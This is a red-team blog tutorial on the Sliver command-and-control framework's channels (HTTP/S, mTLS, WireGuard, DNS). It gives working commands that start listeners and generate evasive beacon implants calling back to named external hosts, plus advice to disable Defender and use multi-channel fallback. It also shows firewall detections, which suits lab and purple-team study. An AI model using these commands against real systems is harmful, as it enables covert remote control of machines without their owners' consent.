![[Sliver-Drawing.png|center]] Published: 10/25/23 By [Steven Peterson](https://www.linkedin.com/in/steven--peterson) Chief Hacking Officer at White Box Security ## Introduction In the first blog post ([[Sliver C2 Introduction]]), we set up a Sliver C2 server and connected from a client. This post will dive into Sliver's C2 channels. To start, we will cover what C2 channels are available. We are breaking them into TCP or UDP. Mainly because I'm a recovering network security engineer. Then, we will cover setting up the various listeners. There will be some advantages and disadvantages of the Sliver C2 channels sprinkled along the way. ## TCP The TCP channels include: - HTTP - HTTPS - Mutual TLS (mTLS) ### HTTP & HTTPS These C2 channels use HTTP GET and POST requests to send C2 communications. The only difference is HTTPS is wrapped in TLS encryption. If the HTTPS C2 communication is intercepted, you are likely busted. Be sure to choose your domain wisely. This is a screenshot of decrypted Sliver C2 traffic on a Palo Alto Networks (PAN) firewall. The PAN has a signature for Sliver C2 traffic and is blocking it. ![[pan-block.png]] Similar to Cobalt Strike, Sliver implants can call back to multiple HTTPS domains. The Sliver implant will only call back to a single domain at a time. It will only vary the domain if there is an issue communicating to the current domain. Cobalt Strike has the advantage here because it can round-robin domains. HTTP does not encrypt the GET or POST requests. The actual data being transmitted is obscured through several different [mechanisms](https://github.com/BishopFox/sliver/wiki/HTTP(S)-C2#implant-side), so it cannot be easily read. However, many security products can still pick up the HTTP traffic patterns. For good OPSEC practices, it is best to avoid HTTP traffic. It is helpful for testing [modification](https://github.com/BishopFox/sliver/wiki/HTTP(S)-C2#modifying-c2-traffic) of the HTTP C2 traffic. Unfortunately, modifying the HTTP traffic isn't as customizable as with Cobalt Strike. It can be modified but does not have all the advanced features of the malleable C2 profiles. We will cover this in a later blog post. ### Mutual TLS (mTLS) mTLS is similar to HTTPS in that it uses TLS certificates for encryption. It differs because the underlying protocol is strictly TCP and does not rely on HTTP. The main advantage of mTLS is that both the implant and the C2 server use certificates to authenticate each other. The certificates are embedded in the implant. This means that the implant and C2 server will not communicate if a security device tries to decrypt the traffic. This is a screenshot of a Palo Alto Networks (PAN) firewall with decryption enabled. The implant traffic will not complete the traffic because the PAN is attempting to insert certificates in the middle of the communication.  ![[pan-decrypt.png]] ## UDP The UDP channels include: - WireGuard - DNS ### WireGuard (WG) [WireGuard](https://www.wireguard.com) is an open-source VPN protocol built for speed and encryption strength. By default, Sliver listens for WireGuard on UDP port 53. Beware, it does not look anything like DNS traffic when inspecting the packets. This Wireshark capture shows the WG traffic as malformed DNS packets.  ![[wg-not-dns.png|center]] The UDP stream shows a bunch of junk because the data is encrypted.  ![[wg-stream.png|center]] Similar to mTLS, WG also uses mutual cryptographic authentication for communication. ### DNS Sliver DNS C2 relies on encoding the C2 traffic in the DNS requests. It is built for speed rather than stealth. The simple explanation is that it sends the encoded data as prepended subdomain DNS queries. In our example, we use `test.wbslabs.bio`. The DNS C2 traffic will prepend the encoded C2 data to the `test.wbslabs.bio` domain. See the example below. `YMzCNfcFBV4vBhLD2P9rGphthtZTKcSLGT1GjcjSZx3QPwh8BUYTuNH9UMBBHx:312Hr6VzF3SNK4QxVZxh6nLQT24G7JjCbgVjPEVE5xfQwFRKKXtjLGvJf6.test.wbslabs.bio` More info about how the DNS encoding works can be found [here](https://github.com/BishopFox/sliver/wiki/DNS-C2#under-the-hood). DNS requires a little extra setup to get working. You will need to create a couple of A records and an NS record; details [here](https://github.com/BishopFox/sliver/wiki/DNS-C2).  **Please note that DNS is broken in the current 1.5.41 version.** For this example, we use version 1.5.37 for the C2 server, download [here](https://github.com/BishopFox/sliver/releases/tag/v1.5.37). A [vulnerability](https://github.com/BishopFox/sliver/releases/tag/v1.5.40) exists in Sliver versions before 1.5.40. Please only use this version in a closed lab environment. ![[version.png|center]] We create a DNS listener using our `test.wbslabs.bio` domain. Note the `.` at the end of the domain name. The `.` is vital for passing the domain across the network of DNS resolvers.  ```sliver dns -d test.wbslabs.bio. -L 10.0.1.4 -p ``` If someone checks their DNS traffic, it will be evident that this is not a typical DNS request. Most organizations only scrutinize their DNS traffic if they have a reason to. Wireshark capture of the DNS C2 traffic. ![[dns-wireshark.png|center]] UDP stream ![[dns-stream.png|center]] PAN firewall detects the DNS tunneling but only with a low severity. ![[dns-tunnel.png]] ## Listeners ### Background First, a little background on Sliver. Sliver listeners were built with OPSEC in mind. The listeners are ant-fingerprinting and random JARM signatures baked in. This means detecting Sliver C2 servers by scanning the listener ports is challenging, even with the default setup. This is not the case with Cobalt Strike. Cobalt Strike team servers require customization or redirectors to hide the C2 server. Silver also has anti-replay mechanisms built in. This means that Sliver is not susceptible to things like the [CobaltSpam](https://github.com/NexusFuzzy/CobaltSpam) attack. To be fair, this is only for Cobalt Strike staged payloads with no OPSEC considerations. Team servers should be behind things like redirectors. ### Creating Listeners Creating listeners in Sliver is easy. Start with the channel you want to use: HTTP, HTTPS, mTLS, DNS, or WG. Remember, `help` and `-h` are your friends. For this example, we are using mTLS. ![[mtls-help.png|center]] ```sliver mtls -L 10.50.99.54 -l 80 -p  ``` `-L` tells Sliver which IP or hostname to listen on. `-l` specifies the port to listen on (8888 is the default mTLS port), and `-p` is to make the listener persistent across restarts. ![[mtls-started.png|center]] Netstat showing Sliver listening on port 80 ![[mtls-netstat.png|center]] Done, listener started. Now, let's generate a payload to use that listener. The generate command is used to create implant payloads. We will cover more on the generate command in another post. We will use the beacon payload for this example. Use `--mtls` to specify the mTLS C2 channel and then the IP or hostname to call back to. The `-e` enables evasion, and the `-s` specifies the name and location to save the payload. By default, Sliver generates a Windows x64 executable. ```sliver generate beacon --mtls 10.50.99.54:80 -e -s payload/mtls-lab.exe ``` Generate beacon payload ![[Pasted image 20231025161720.png|center]] Disable Defender. Default Sliver payloads will get caught by Defender. Sorry, no easy evasion for Defender. Payload on Win 11 VM ![[Pasted image 20231025161858.png|center]] A beacon should call back after execution. ![[Pasted image 20231025161816.png|center]] All other listeners operate almost the same way: listener, listening IP, port, and persistence. The two C2 channels that need extra config flags are HTTPS and WG. For HTTPS, you can specify which certificates to use. Sliver can request let's encrypt certs with the `-e` flag. You can select a cert `-c` and key `-k` if you already have one or use self-signed certs. ![[https-options.png|center]] ```sliver https -e -d wbslabs.bio -L 10.0.1.4 ``` WG has 2 other ports for the listener. The port for the key exchange `-x`, and the tunnel interface port `-n`. For the purposes of this blog, we will leave these as default. ![[wg-options.png|center]] You only need to change the C2 channel on the `generate` command to create implants for other listeners. ```sliver generate beacon --mtls <hostname or IP> generate beacon --dns <domain-name.> generate beacon --http <hostname or IP> ``` ## Multi-Channel Implant This is one of the great features of Sliver. An implant can be configured to use all the C2 channels, mTLS, HTTP/S, WG, and DNS. The catch is it will stick to a single channel until there is an issue. Then, it will switch to the next channel. By default, the implant will pick the most cryptographically secure channels first, then move to the least. 1. mTLS 2. WG 3. HTTPS 4. HTTP 5. DNS The C2 strategy can be modified with the `-Z` flag. ![[Pasted image 20231026143101.png|center]] This can be useful for an initial implant, where you don't know which C2 channels will be allowed out of the network. Or something like purple team engagement, where you want to test multiple C2 channels. Now, it can be done with a single implant. This can be especially useful when paired with a multi-domain callback as well. Specify the C2 channels with the `generate` command to create an implant with multi-channel support. Make sure all the listeners are configured and listening. ```sliver generate beacon --mtls 10.50.99.54 --http wbslabs.bio,notta-c2-server.eastus.cloudapp.azure.com --wg wbslabs.bio --dns test.wbslabs.bio. -s multi-c2.exe ``` ![[multi-c2.png|center]] PAN logs show port 8888 (mTLS) getting denied. The implant tries WG on port 53 and fails. Finally, connecting back on port 443 over HTTPS. ![[Pasted image 20231026133430.png|center]] That covers the C2 basics for Sliver. Test out the other listeners and C2 channels. Up next is [[Sliver C2 Implants]]. --- ![[Circle.jpg|200]]